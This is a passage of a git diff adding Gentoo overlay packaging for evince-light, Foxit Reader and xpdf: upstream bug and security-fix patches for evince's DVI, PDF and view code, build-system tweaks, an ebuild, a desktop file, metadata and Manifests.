font->chars = xresize(font->chars, +diff --git a/backend/dvi/mdvi-lib/tfmfile.c b/backend/dvi/mdvi-lib/tfmfile.c +index 73ebf26..8c2a30b 100644 +--- a/backend/dvi/mdvi-lib/tfmfile.c ++++ b/backend/dvi/mdvi-lib/tfmfile.c +@@ -172,7 +172,8 @@ int tfm_load_file(const char *filename, TFMInfo *info) + /* We read the entire TFM file into core */ + if(fstat(fileno(in), &st) < 0) + return -1; +- if(st.st_size == 0) ++ /* according to the spec, TFM files are smaller than 16K */ ++ if(st.st_size == 0 || st.st_size >= 16384) + goto bad_tfm; + + /* allocate a word-aligned buffer to hold the file */ +diff --git a/backend/dvi/mdvi-lib/vf.c b/backend/dvi/mdvi-lib/vf.c +index fb49847..a5ae3bb 100644 +--- a/backend/dvi/mdvi-lib/vf.c ++++ b/backend/dvi/mdvi-lib/vf.c +@@ -165,6 +165,12 @@ static int vf_load_font(DviParams *params, DviFont *font) + cc = fuget1(p); + tfm = fuget3(p); + } ++ if (cc < 0 || cc > 65536) { ++ /* TeX engines do not support char codes bigger than 65535 */ ++ mdvi_error(_("(vf) %s: unexpected character %d\n"), ++ font->fontname, cc); ++ goto error; ++ } + if(loc < 0 || cc < loc) + loc = cc; + if(hic < 0 || cc > hic) +-- +cgit v0.8.3.1 diff --git a/app-text/evince-light/files/evince-2.32.0-dvi-security.patch b/app-text/evince-light/files/evince-2.32.0-dvi-security.patch new file mode 100644 index 00000000..6bde382d --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-dvi-security.patch @@ -0,0 +1,24 @@ +From 9611cfcd6c2f39aafab10730c291efd736ab97e4 Mon Sep 17 00:00:00 2001 +From: Vincent Untz +Date: Thu, 17 Feb 2011 14:23:39 +0000 +Subject: backends: Fix another security issue in the dvi-backend + +This is similar to one of the fixes from d4139205. + +https://bugzilla.gnome.org/show_bug.cgi?id=640923 +--- +diff --git a/backend/dvi/mdvi-lib/afmparse.c b/backend/dvi/mdvi-lib/afmparse.c +index 361e23d..e1cd115 100644 +--- a/backend/dvi/mdvi-lib/afmparse.c ++++ b/backend/dvi/mdvi-lib/afmparse.c +@@ -190,7 +190,7 @@ static char *linetoken(FILE *stream) + while ((ch = fgetc(stream)) == ' ' || ch == '\t' ); + + idx = 0; +- while (ch != EOF && ch != lineterm) ++ while (ch != EOF && ch != lineterm && idx < MAX_NAME) + { + ident[idx++] = ch; + ch = fgetc(stream); +-- +cgit v0.9 diff --git a/app-text/evince-light/files/evince-2.32.0-gold.patch b/app-text/evince-light/files/evince-2.32.0-gold.patch new file mode 100644 index 00000000..dc846dfa --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-gold.patch @@ -0,0 +1,16 @@ + thumbnailer/Makefile.am | 2 +- + 1 files changed, 1 insertions(+), 1 deletions(-) + +diff --git a/thumbnailer/Makefile.am b/thumbnailer/Makefile.am +index 171c00f..b060a97 100644 +--- a/thumbnailer/Makefile.am ++++ b/thumbnailer/Makefile.am +@@ -26,7 +26,7 @@ endif + + evince_thumbnailer_LDADD = \ + $(top_builddir)/libdocument/libevdocument.la \ +- $(FRONTEND_LIBS) ++ $(FRONTEND_LIBS) -lm + + schema_files = \ + evince-thumbnailer-dvi.schemas.in \ diff --git a/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch b/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch new file mode 100644 index 00000000..bef8d80c --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch @@ -0,0 +1,35 @@ +From a933a516e9b6a4199d22055f9041747e00498901 Mon Sep 17 00:00:00 2001 +From: José Aliste +Date: Wed, 29 Sep 2010 16:22:32 +0000 +Subject: [libdocument] Check for NULL in synctex_backward_search. + +Fixes bug #630845 +--- +diff --git a/libdocument/ev-document.c b/libdocument/ev-document.c +index 70349dc..742b51c 100644 +--- a/libdocument/ev-document.c ++++ b/libdocument/ev-document.c +@@ -419,11 +419,16 @@ ev_document_synctex_backward_search (EvDocument *document, + /* We assume that a backward search returns either zero or one result_node */ + node = synctex_next_result (scanner); + if (node != NULL) { +- result = g_new (EvSourceLink, 1); +- result->filename = synctex_scanner_get_name (scanner, +- synctex_node_tag (node)); +- result->line = synctex_node_line (node); +- result->col = synctex_node_column (node); ++ const gchar *filename; ++ ++ filename = synctex_scanner_get_name (scanner, synctex_node_tag (node)); ++ ++ if (filename) { ++ result = g_new (EvSourceLink, 1); ++ result->filename = filename; ++ result->line = synctex_node_line (node); ++ result->col = synctex_node_column (node); ++ } + } + } + +-- +cgit v0.8.3.1 diff --git a/app-text/evince-light/files/evince-2.32.0-libview-crash.patch b/app-text/evince-light/files/evince-2.32.0-libview-crash.patch new file mode 100644 index 00000000..65d07751 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-libview-crash.patch @@ -0,0 +1,32 @@ +commit a3b87cb28e46958b37e384a47604032ea0889807 +Author: Carlos Garcia Campos +Date: Sun Nov 21 12:27:21 2010 +0100 + + libview: Make sure we have a valid page range before getting/setting selection list + + Fixes bug #630999. + +diff --git a/libview/ev-pixbuf-cache.c b/libview/ev-pixbuf-cache.c +index 367f70d..ee68354 100644 +--- a/libview/ev-pixbuf-cache.c ++++ b/libview/ev-pixbuf-cache.c +@@ -1035,6 +1035,9 @@ ev_pixbuf_cache_set_selection_list (EvPixbufCache *pixbuf_cache, + if (!EV_IS_SELECTION (pixbuf_cache->document)) + return; + ++ if (pixbuf_cache->start_page == -1 || pixbuf_cache->end_page == -1) ++ return; ++ + /* We check each area to see what needs updating, and what needs freeing; */ + page = pixbuf_cache->start_page - pixbuf_cache->preload_cache_size; + for (i = 0; i < pixbuf_cache->preload_cache_size; i++) { +@@ -1114,6 +1117,9 @@ ev_pixbuf_cache_get_selection_list (EvPixbufCache *pixbuf_cache) + + g_return_val_if_fail (EV_IS_PIXBUF_CACHE (pixbuf_cache), NULL); + ++ if (pixbuf_cache->start_page == -1 || pixbuf_cache->end_page == -1) ++ return NULL; ++ + /* We check each area to see what needs updating, and what needs freeing; */ + page = pixbuf_cache->start_page - pixbuf_cache->preload_cache_size; + for (i = 0; i < pixbuf_cache->preload_cache_size; i++) { diff --git a/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch b/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch new file mode 100644 index 00000000..8379e745 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-pk-fonts.patch @@ -0,0 +1,37 @@ +From 0a6e8aabcc46d47b5d84e5414cd0e07d57ef171b Mon Sep 17 00:00:00 2001 +From: José Aliste +Date: Mon, 17 Jan 2011 17:30:00 +0000 +Subject: Fix problem with some pk fonts. + +--- +diff --git a/backend/dvi/mdvi-lib/pk.c b/backend/dvi/mdvi-lib/pk.c +index 08377e6..a911613 100644 +--- a/backend/dvi/mdvi-lib/pk.c ++++ b/backend/dvi/mdvi-lib/pk.c +@@ -328,13 +328,14 @@ static int pk_load_font(DviParams *unused, DviFont *font) + { + int i; + int flag_byte; +- int loc, hic, maxch; ++ int hic, maxch; + Int32 checksum; + FILE *p; + #ifndef NODEBUG + char s[256]; + #endif + long alpha, beta, z; ++ unsigned int loc; + + font->chars = xnalloc(DviFontChar, 256); + p = font->in; +@@ -521,7 +522,7 @@ static int pk_load_font(DviParams *unused, DviFont *font) + } + + /* resize font char data */ +- if(loc > 0 && hic < maxch-1) { ++ if(loc > 0 || hic < maxch-1) { + memmove(font->chars, font->chars + loc, + (hic - loc + 1) * sizeof(DviFontChar)); + font->chars = xresize(font->chars, +-- +cgit v0.8.3.1 diff --git a/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch b/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch new file mode 100644 index 00000000..eb330196 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-stop-spinner.patch @@ -0,0 +1,74 @@ +From 220956ee03fa37fb55079aff63675db26cd908f9 Mon Sep 17 00:00:00 2001 +From: Cristian KLEIN +Date: Thu, 16 Dec 2010 17:38:06 +0000 +Subject: libview: Stop the GtkSpinner when the loading window is hidden + +Fixes bug #637390. +--- +diff --git a/libview/ev-loading-window.c b/libview/ev-loading-window.c +index 4d5eaaf..434beac 100644 +--- a/libview/ev-loading-window.c ++++ b/libview/ev-loading-window.c +@@ -33,6 +33,7 @@ struct _EvLoadingWindow { + GtkWindow base_instance; + + GtkWindow *parent; ++ GtkWidget *spinner; + + gint x; + gint y; +@@ -69,7 +70,6 @@ ev_loading_window_init (EvLoadingWindow *window) + GtkWindow *gtk_window = GTK_WINDOW (window); + GtkWidget *widget = GTK_WIDGET (window); + GtkWidget *hbox; +- GtkWidget *spinner; + GtkWidget *label; + GtkStyle *style; + GdkColor fg, bg; +@@ -79,10 +79,9 @@ ev_loading_window_init (EvLoadingWindow *window) + + hbox = gtk_hbox_new (FALSE, 12); + +- spinner = gtk_spinner_new (); +- gtk_spinner_start (GTK_SPINNER (spinner)); +- gtk_box_pack_start (GTK_BOX (hbox), spinner, FALSE, FALSE, 0); +- gtk_widget_show (spinner); ++ window->spinner = gtk_spinner_new (); ++ gtk_box_pack_start (GTK_BOX (hbox), window->spinner, FALSE, FALSE, 0); ++ gtk_widget_show (window->spinner); + + label = gtk_label_new (loading_text); + gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0); +@@ -222,10 +221,22 @@ ev_loading_window_hide (GtkWidget *widget) + + window->x = window->y = 0; + ++ gtk_spinner_stop (GTK_SPINNER (window->spinner)); ++ + GTK_WIDGET_CLASS (ev_loading_window_parent_class)->hide (widget); + } + + static void ++ev_loading_window_show (GtkWidget *widget) ++{ ++ EvLoadingWindow *window = EV_LOADING_WINDOW (widget); ++ ++ gtk_spinner_start (GTK_SPINNER (window->spinner)); ++ ++ GTK_WIDGET_CLASS (ev_loading_window_parent_class)->show (widget); ++} ++ ++static void + ev_loading_window_class_init (EvLoadingWindowClass *klass) + { + GObjectClass *g_object_class = G_OBJECT_CLASS (klass); +@@ -235,6 +246,7 @@ ev_loading_window_class_init (EvLoadingWindowClass *klass) + g_object_class->set_property = ev_loading_window_set_property; + + gtk_widget_class->size_allocate = ev_loading_window_size_allocate; ++ gtk_widget_class->show = ev_loading_window_show; + gtk_widget_class->hide = ev_loading_window_hide; + + g_object_class_install_property (g_object_class, +-- +cgit v0.9 diff --git a/app-text/evince-light/files/evince-2.32.0-update-poppler.patch b/app-text/evince-light/files/evince-2.32.0-update-poppler.patch new file mode 100644 index 00000000..29bcad6b --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-update-poppler.patch @@ -0,0 +1,58 @@ +From f77e6cf4fd7fef49ac91d8c62b6a9a993529adb8 Mon Sep 17 00:00:00 2001 +From: Carlos Garcia Campos +Date: Fri, 17 Sep 2010 11:21:16 +0000 +Subject: [pdf] Update to poppler api changes + +Linearized PopplerDocument property is now boolean rather than string. +--- +diff --git a/backend/pdf/ev-poppler.cc b/backend/pdf/ev-poppler.cc +index aa080e6..ced3ef7 100644 +--- a/backend/pdf/ev-poppler.cc ++++ b/backend/pdf/ev-poppler.cc +@@ -722,6 +722,9 @@ pdf_document_get_info (EvDocument *document) + PopplerPermissions permissions; + EvPage *page; + char *metadata; ++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED ++ gboolean linearized; ++#endif + + info = g_new0 (EvDocumentInfo, 1); + +@@ -758,7 +761,11 @@ pdf_document_get_info (EvDocument *document) + "producer", &(info->producer), + "creation-date", &(info->creation_date), + "mod-date", &(info->modified_date), ++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED ++ "linearized", &linearized, ++#else + "linearized", &(info->linearized), ++#endif + "metadata", &metadata, + NULL); + +@@ -864,6 +871,10 @@ pdf_document_get_info (EvDocument *document) + info->security = g_strdup (_("No")); + } + ++#ifdef HAVE_POPPLER_DOCUMENT_IS_LINEARIZED ++ info->linearized = linearized ? g_strdup (_("Yes")) : g_strdup (_("No")); ++#endif ++ + return info; + } + +diff --git a/configure.ac b/configure.ac +index 0faa16e..9619349 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -512,6 +512,7 @@ if test "x$enable_pdf" = "xyes"; then + AC_CHECK_FUNCS(poppler_page_get_text_layout) + AC_CHECK_FUNCS(poppler_page_get_selected_text) + AC_CHECK_FUNCS(poppler_page_add_annot) ++ AC_CHECK_FUNCS(poppler_document_is_linearized) + LIBS=$evince_save_LIBS + PKG_CHECK_MODULES(CAIRO_PDF, cairo-pdf, enable_cairo_pdf=yes, enable_cairo_pdf=no) + if test x$enable_cairo_pdf = xyes; then +-- +cgit v0.8.3.1 diff --git a/app-text/evince-light/files/evince-2.32.0-use-popup.patch b/app-text/evince-light/files/evince-2.32.0-use-popup.patch new file mode 100644 index 00000000..8bb52c80 --- /dev/null +++ b/app-text/evince-light/files/evince-2.32.0-use-popup.patch @@ -0,0 +1,21 @@ +From 464ec9077f4bc709e50c83372c9d4e1703533efa Mon Sep 17 00:00:00 2001 +From: Carlos Garcia Campos +Date: Sun, 20 Feb 2011 10:29:19 +0000 +Subject: libview: Use a popup window instead of a toplevel for loading window + +Fixes focus stealing when scrolling. See bug #633475. +--- +diff --git a/libview/ev-loading-window.c b/libview/ev-loading-window.c +index b413431..94576ee 100644 +--- a/libview/ev-loading-window.c ++++ b/libview/ev-loading-window.c +@@ -266,6 +266,7 @@ ev_loading_window_new (GtkWindow *parent) + g_return_val_if_fail (GTK_IS_WINDOW (parent), NULL); + + window = g_object_new (EV_TYPE_LOADING_WINDOW, ++ "type", GTK_WINDOW_POPUP, + "parent", parent, + NULL); + return window; +-- +cgit v0.9 diff --git a/app-text/evince-light/files/evince-3.2.1-glib-gold.patch b/app-text/evince-light/files/evince-3.2.1-glib-gold.patch new file mode 100644 index 00000000..ab9dd0fd --- /dev/null +++ b/app-text/evince-light/files/evince-3.2.1-glib-gold.patch @@ -0,0 +1,38 @@ + configure.ac | 8 ++++---- + 1 files changed, 4 insertions(+), 4 deletions(-) + +diff --git a/configure.ac b/configure.ac +index 183b644..c863997 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -160,10 +160,10 @@ fi + ZLIB_LIBS=-lz + AC_SUBST(ZLIB_LIBS) + +-PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED) ++PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED) + PKG_CHECK_MODULES(LIBVIEW, gtk+-3.0 >= $GTK_REQUIRED gail-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED) + PKG_CHECK_MODULES(BACKEND, cairo >= $CAIRO_REQUIRED gtk+-3.0 >= $GTK_REQUIRED) +-PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED) ++PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED) + + SHELL_PLATFORM_PKGS= + case "$with_platform" in +@@ -189,7 +189,7 @@ case "$with_platform" in + ;; + esac + +-PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS]) ++PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS]) + + # ********* + # SM client +@@ -407,7 +407,7 @@ AC_ARG_ENABLE([previewer], + esac]) + + if test x$enable_previewer = "xyes" ; then +- PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED]) ++ PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED]) + fi + + AM_CONDITIONAL([ENABLE_PREVIEWER],[test "$enable_previewer" = "yes"]) diff --git a/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch b/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch new file mode 100644 index 00000000..5bbded64 --- /dev/null +++ b/app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch @@ -0,0 +1,45 @@ +From 740263e84f812e069c25d32e6fbf40bec4c061e2 Mon Sep 17 00:00:00 2001 +From: Carlos Garcia Campos +Date: Sun, 20 Nov 2011 16:18:30 +0100 +Subject: [PATCH] xps: Bump libgxps requirements to 0.2.0 + +[Alexandre Rostovtsev : remove update to configure.ac] +--- + backend/xps/xps-document.c | 14 ++------------ + 1 files changed, 2 insertions(+), 12 deletions(-) + +diff --git a/backend/xps/xps-document.c b/backend/xps/xps-document.c +index 6e34f07..cbba96b 100644 +--- a/backend/xps/xps-document.c ++++ b/backend/xps/xps-document.c +@@ -156,17 +156,7 @@ xps_document_get_page_size (EvDocument *document, + double *width, + double *height) + { +- GXPSPage *xps_page; +- guint w, h; +- +- xps_page = GXPS_PAGE (page->backend_page); +- +- gxps_page_get_size (xps_page, &w, &h); +- +- if (width) +- *width = (gdouble)w; +- if (height) +- *height = (gdouble)h; ++ gxps_page_get_size (GXPS_PAGE (page->backend_page), width, height); + } + + static EvDocumentInfo * +@@ -210,7 +200,7 @@ xps_document_render (EvDocument *document, + EvRenderContext *rc) + { + GXPSPage *xps_page; +- guint page_width, page_height; ++ gdouble page_width, page_height; + guint width, height; + cairo_surface_t *surface; + cairo_t *cr; +-- +1.7.8.rc3 + diff --git a/app-text/evince-light/files/evince-3.4.0-glib-gold.patch b/app-text/evince-light/files/evince-3.4.0-glib-gold.patch new file mode 100644 index 00000000..34733f75 --- /dev/null +++ b/app-text/evince-light/files/evince-3.4.0-glib-gold.patch @@ -0,0 +1,54 @@ +From f2f9097ea87e2f0d15241ac0ee95099a219b7539 Mon Sep 17 00:00:00 2001 +From: Justin Lecher +Date: Mon, 30 Apr 2012 11:51:18 +0200 +Subject: [PATCH] Fix underlinking with >=glib-2.32 detected by gold linker + +As descripted in bug 675129, recent changes in pkg-config files +drop necessary libs from linking, more accurate gio-2.0 droppes +gmodule-no-export-2.0. + +Readd gmodule-no-export-2.0 at all necessary places. + +Signed-off-by: Justin Lecher +--- + configure.ac | 8 ++++---- + 1 files changed, 4 insertions(+), 4 deletions(-) + +diff --git a/configure.ac b/configure.ac +index 66958fa..2ef6e50 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -154,10 +154,10 @@ fi + ZLIB_LIBS=-lz + AC_SUBST(ZLIB_LIBS) + +-PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-2.0) ++PKG_CHECK_MODULES(LIBDOCUMENT, gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gmodule-2.0) + PKG_CHECK_MODULES(LIBVIEW, gtk+-3.0 >= $GTK_REQUIRED gail-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED) + PKG_CHECK_MODULES(BACKEND, cairo >= $CAIRO_REQUIRED gtk+-3.0 >= $GTK_REQUIRED) +-PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED) ++PKG_CHECK_MODULES(FRONTEND_CORE, gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED) + + SHELL_PLATFORM_PKGS= + case "$with_platform" in +@@ -180,7 +180,7 @@ case "$with_platform" in + ;; + esac + +-PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS]) ++PKG_CHECK_MODULES([SHELL_CORE],[libxml-2.0 >= $LIBXML_REQUIRED gtk+-3.0 >= $GTK_REQUIRED gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED gthread-2.0 $SHELL_PLATFORM_PKGS]) + + # ********* + # SM client +@@ -407,7 +407,7 @@ AC_ARG_ENABLE([previewer], + [enable_previewer=yes]) + + if test x$enable_previewer = "xyes" ; then +- PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED]) ++ PKG_CHECK_MODULES([PREVIEWER],[gtk+-3.0 >= $GTK_REQUIRED gthread-2.0 gio-2.0 >= $GLIB_REQUIRED gmodule-no-export-2.0 >= $GLIB_REQUIRED]) + fi + + AM_CONDITIONAL([ENABLE_PREVIEWER],[test "$enable_previewer" = "yes"]) +-- +1.7.8.6 + diff --git a/app-text/evince-light/files/gconf-2.m4 b/app-text/evince-light/files/gconf-2.m4 new file mode 100644 index 00000000..4a0936e4 --- /dev/null +++ b/app-text/evince-light/files/gconf-2.m4 @@ -0,0 +1,44 @@ +dnl AM_GCONF_SOURCE_2 +dnl Defines GCONF_SCHEMA_CONFIG_SOURCE which is where you should install schemas +dnl (i.e. pass to gconftool-2 +dnl Defines GCONF_SCHEMA_FILE_DIR which is a filesystem directory where +dnl you should install foo.schemas files +dnl + +AC_DEFUN([AM_GCONF_SOURCE_2], +[ + if test "x$GCONF_SCHEMA_INSTALL_SOURCE" = "x"; then + GCONF_SCHEMA_CONFIG_SOURCE=`gconftool-2 --get-default-source` + else + GCONF_SCHEMA_CONFIG_SOURCE=$GCONF_SCHEMA_INSTALL_SOURCE + fi + + AC_ARG_WITH([gconf-source], + AC_HELP_STRING([--with-gconf-source=sourceaddress], + [Config database for installing schema files.]), + [GCONF_SCHEMA_CONFIG_SOURCE="$withval"],) + + AC_SUBST(GCONF_SCHEMA_CONFIG_SOURCE) + AC_MSG_RESULT([Using config source $GCONF_SCHEMA_CONFIG_SOURCE for schema installation]) + + if test "x$GCONF_SCHEMA_FILE_DIR" = "x"; then + GCONF_SCHEMA_FILE_DIR='$(sysconfdir)/gconf/schemas' + fi + + AC_ARG_WITH([gconf-schema-file-dir], + AC_HELP_STRING([--with-gconf-schema-file-dir=dir], + [Directory for installing schema files.]), + [GCONF_SCHEMA_FILE_DIR="$withval"],) + + AC_SUBST(GCONF_SCHEMA_FILE_DIR) + AC_MSG_RESULT([Using $GCONF_SCHEMA_FILE_DIR as install directory for schema files]) + + AC_ARG_ENABLE(schemas-install, + AC_HELP_STRING([--disable-schemas-install], + [Disable the schemas installation]), + [case ${enableval} in + yes|no) ;; + *) AC_MSG_ERROR([bad value ${enableval} for --enable-schemas-install]) ;; + esac]) + AM_CONDITIONAL([GCONF_SCHEMAS_INSTALL], [test "$enable_schemas_install" != no]) +]) diff --git a/app-text/evince-light/metadata.xml b/app-text/evince-light/metadata.xml new file mode 100644 index 00000000..091a7f38 --- /dev/null +++ b/app-text/evince-light/metadata.xml @@ -0,0 +1,16 @@ + + + + gnome + + Enable the use of gnome-base/gconf to honour + lockdown settings + Enable the built-in DVI viewer + Use dev-libs/gobject-introspection + for introspection + Enable property page extension in gnome-base/nautilus + Enable the Type-1 fonts for the built-in DVI viewer + (media-libs/t1lib) + Enable XPS viewer using app-text/libgxps + + diff --git a/app-text/foxitreader/Manifest b/app-text/foxitreader/Manifest new file mode 100644 index 00000000..e17fc279 --- /dev/null +++ b/app-text/foxitreader/Manifest @@ -0,0 +1 @@ +DIST FoxitReader-1.1.0.tar.bz2 3787587 SHA256 02f1ad5ad2fd516754254f349c94b8e81b57b9eb2a0315f30debdc5d7fb8dbf4 diff --git a/app-text/foxitreader/files/foxitreader.desktop b/app-text/foxitreader/files/foxitreader.desktop new file mode 100644 index 00000000..01958137 --- /dev/null +++ b/app-text/foxitreader/files/foxitreader.desktop @@ -0,0 +1,22 @@ +[Desktop Entry] +Encoding=UTF-8 +Version=1.0 +Name=Foxit Reader +Name[zh_CN]=ç¦æ˜•é˜…读器 +Name[zh_HK]=ç¦æ˜•é–±è®€å™¨ +Name[zh_TW]=ç¦æ˜•é–±è®€å™¨ +GenericName=PDF Reader +GenericName[zh_CN]=PDF阅读器 +GenericName[zh_HK]=PDF閱讀器 +GenericName[zh_TW]=PDF閱讀器 +Comment=Read PDF Document +Comment[zh_CN]=阅读PDF文档 +Comment[zh_HK]=閱讀PDF文件 +Comment[zh_TW]=閱讀PDF文件 +Exec=foxitreader %U +Icon=foxitreader +Terminal=false +Type=Application +StartupNotify=true +Categories=Application;Office;Viewer; +MimeType=application/pdf;application/x-bzpdf;application/x-gzpdf; diff --git a/app-text/foxitreader/files/foxitreader.png b/app-text/foxitreader/files/foxitreader.png new file mode 100644 index 00000000..85f8b1b4 Binary files /dev/null and b/app-text/foxitreader/files/foxitreader.png differ diff --git a/app-text/foxitreader/foxitreader-1.1.0.ebuild b/app-text/foxitreader/foxitreader-1.1.0.ebuild new file mode 100644 index 00000000..70706f77 --- /dev/null +++ b/app-text/foxitreader/foxitreader-1.1.0.ebuild @@ -0,0 +1,59 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils versionator + +MY_PN="FoxitReader" +MY_P="${MY_PN}-${PV}" + +SRC_BASE="cdn04.foxitsoftware.com/pub/foxit/reader/desktop/linux/" +DESCRIPTION="Foxit Reader for desktop Linux" +HOMEPAGE="http://www.foxitsoftware.com/pdf/desklinux" +SRC_URI="${SRC_BASE}/$(get_major_version).x/$(get_version_component_range 1-2)/enu/${MY_P}.tar.bz2" + +LICENSE="Foxit-EULA" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" +LANGS="de fr ja zh_CN zh_TW" +for X in ${LANGS} ; do + IUSE="${IUSE} linguas_${X}" +done + +DEPEND="" +RDEPEND=" + amd64? ( app-emulation/emul-linux-x86-xlibs + app-emulation/emul-linux-x86-gtklibs ) + x86? ( media-libs/freetype:2 + >=x11-libs/gtk+-2.12 )" + +S="${WORKDIR}/$(get_version_component_range 1-2)-release" +RESTRICT="mirror strip" + +src_install() { + mv "${S}"/Readme.txt "${WORKDIR}"/README + dodoc "${WORKDIR}"/README + + ebegin "Installing package" + for X in ${LANGS} ; do + if use linguas_${X} ; then + insinto /usr/share/locale/${X}/LC_MESSAGES + doins "${S}"/po/${X}/${MY_PN}.mo \ + || die "failed to install languages files" + fi + done + rm -R "${S}"/po + + insinto /opt/${PN} + doins "${S}"/* || die "failed to install program files" + fperms 0755 /opt/${PN}/${MY_PN} + eend $? || die "failed to install package" + + doicon "${FILESDIR}"/${PN}.png + domenu "${FILESDIR}"/${PN}.desktop + + make_wrapper ${PN} /opt/${PN}/${MY_PN} +} diff --git a/app-text/foxitreader/metadata.xml b/app-text/foxitreader/metadata.xml new file mode 100644 index 00000000..1fa0ca56 --- /dev/null +++ b/app-text/foxitreader/metadata.xml @@ -0,0 +1,5 @@ + + + +printing + diff --git a/app-text/xpdf/Manifest b/app-text/xpdf/Manifest new file mode 100644 index 00000000..dbf83aaa --- /dev/null +++ b/app-text/xpdf/Manifest @@ -0,0 +1,5 @@ +AUX xpdf-3.02-poppler-0.16.patch 508 SHA256 1eba6540056c72c71db9845dac660398b27f228fe50dd0e7dd548101f94aa013 SHA512 4281a2ef8e95b8d79fe039357da6295778096ab0a9cc7d337bd94afc86d0d86a11859b74b065a08024b4a2fba0d48cf8b0080d7f3856e6ca6d5c84bcb825023b WHIRLPOOL b258e4688d0480a30aa191643370ae11b601e34bcda159cb867fbcdbd63d335d3f283e39f043b7df87500a0a67a6f4cac75b65878ac01a94426f11f01c5251fd +AUX xpdf-3.03-poppler-0.16.patch 508 SHA256 1eba6540056c72c71db9845dac660398b27f228fe50dd0e7dd548101f94aa013 SHA512 4281a2ef8e95b8d79fe039357da6295778096ab0a9cc7d337bd94afc86d0d86a11859b74b065a08024b4a2fba0d48cf8b0080d7f3856e6ca6d5c84bcb825023b WHIRLPOOL b258e4688d0480a30aa191643370ae11b601e34bcda159cb867fbcdbd63d335d3f283e39f043b7df87500a0a67a6f4cac75b65878ac01a94426f11f01c5251fd +DIST xpdf-3.03-patchset.tgz 9494 SHA256 0d8611f2d4f4a0f8ccc1f004779ff8442b5a6bde4eaed17e042460f41c19bd37 SHA512 995ac5f58a2a53969f402a3fad6d8b847462ecdf4dfa5a66001955508b934085f4a82a60c372606a0e84ba27a6aa94764b217d46d9a5a3a25453ba01883d9271 WHIRLPOOL c8988df2ee7af140f6d12052aab2ab8aafcc89ea5ea9b0e2d3c3391eb7e082c7241740e12521f9ffe9e5122aa21b22f1839c3faf04cf4e8827f8fdf0448974c3 +DIST xpdf-3.03-poppler.tgz 131039 SHA256 d86d8bc34d38de342e1f8adc7994499c36db6b0756c61f05712a0c9101c9860a SHA512 b3f9db8e4f6c2f1d9d580c177e569415fa31ca565085e1b1438c70d52f4f6b71f4f576d08c1a3c59832a3afa4dcabd10f04903cbd99ba8ca868166d0baba484c WHIRLPOOL 